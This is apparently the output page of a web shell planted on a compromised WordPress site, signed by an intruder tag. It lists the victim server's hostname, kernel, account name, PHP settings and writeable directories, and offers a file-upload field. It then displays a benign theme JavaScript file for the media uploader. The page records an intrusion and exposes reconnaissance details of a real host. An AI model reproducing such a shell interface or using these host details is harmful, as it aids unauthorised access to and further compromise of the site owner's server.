Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/jasonp18/www/wp-content/themes/jason-picht/epanel/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jasonp18/www/wp-content/themes/jason-picht/epanel/js/custom_uploader.js
jQuery(document).ready(function() {
	var fileInput = '',
		et_upload_field_name = '',
		et_tb_interval;

	jQuery('.upload_image_button').click(function() {
		fileInput = jQuery(this).parent().prev('input.uploadfield');

		et_upload_field_name = jQuery(this).parents('.epanel-box').find('.box-title > h3').text();
		et_tb_interval = setInterval( function() {
			jQuery('#TB_iframeContent').contents().find('.savesend .button').val('Use for ' + et_upload_field_name);
		}, 2000 );

		post_id = jQuery('#post_ID').val();
		tb_show('', 'media-upload.php?type=image&TB_iframe=true');
		return false;
	});

	jQuery('.upload_image_reset').click(function() {
		jQuery(this).parent().prev('input.uploadfield').val('');
	});

	// user inserts file into post. only run custom if user started process using the above process
	// window.send_to_editor(html) is how wp would normally handle the received data

	window.original_send_to_editor = window.send_to_editor;
	window.send_to_editor = function(html){
		if (fileInput) {
			clearInterval(et_tb_interval);
			fileurl = jQuery('img',html).attr('src');

			fileInput.val(fileurl);

			tb_remove();
		} else {
			window.original_send_to_editor(html);
		}
	};

});

Hry